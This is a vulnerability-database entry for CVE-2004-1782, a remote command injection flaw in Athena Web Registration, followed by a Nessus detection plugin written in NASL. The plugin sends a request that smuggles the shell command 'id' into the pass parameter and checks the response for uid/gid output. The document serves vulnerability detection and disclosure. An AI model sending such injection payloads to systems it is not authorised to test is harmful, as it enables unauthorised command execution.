Vulnerabilities > CVE-2004-1782 - Remote Command Execution vulnerability in Athena Web Registration

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
david-maciejak
nessus
exploit available
NVD
Published: 2004-12-31
Updated: 2008-09-10

Summary

athenareg.php in Athena Web Registration allows remote attackers to execute arbitrary commands via shell metacharacters in the pass parameter.

Vulnerable Configurations

Part Description Count
Application
David_Maciejak
1

Exploit-Db

descriptionAthena Web Registration Remote Command Execution Vulnerability. CVE-2004-1782. Webapps exploit for php platform
idEDB-ID:23513
last seen2016-02-02
modified2004-01-02
published2004-01-02
reporterPeter Kieser
sourcehttps://www.exploit-db.com/download/23513/
titleAthena Web Registration Remote Command Execution Vulnerability

Nessus

NASL familyCGI abuses
NASL idATHENA_WEB_REMOTE_CMD_EXEC.NASL
descriptionThe remote host is running Athena Web server. The remote version of this software allows for execution of arbitrary commands through the script
last seen2020-06-01
modified2020-06-02
plugin id18376
published2005-05-27
reporterThis script is Copyright (C) 2005-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/18376
titleAthena Web Registration athenareg.php pass Parameter Command Execution
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(18376);
 script_version("1.21");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

 script_cve_id("CVE-2004-1782");
 script_bugtraq_id(9349);
  
 script_name(english:"Athena Web Registration athenareg.php pass Parameter Command Execution");
 script_summary(english:"Checks for Athena Web Registration remote command execution flaw");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that allows arbitrary
command execution." );
 script_set_attribute(attribute:"description", value:
"The remote host is running Athena Web server. 

The remote version of this software allows for execution of arbitrary
commands through the script 'athenareg.php'.  A malicious user could
exploit this issue to execute arbitrary commands on the remote host." );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2005/05/27");
 script_set_attribute(attribute:"vuln_publication_date", value: "2004/01/02");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();
 
 script_category(ACT_ATTACK);
 
 script_copyright(english:"This script is Copyright (C) 2005-2020 Tenable Network Security, Inc.");
 script_family(english:"CGI abuses");

 script_dependencie("http_version.nasl");
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_require_ports("Services/www", 80);
 script_require_keys("www/PHP");
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80, embedded:TRUE);

if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);


http_check_remote_code_ka (
			check_request:"/athenareg.php?pass=%20;id",
			check_result:"uid=[0-9]+.*gid=[0-9]+.*",
			command:"id",
			port:port
			);

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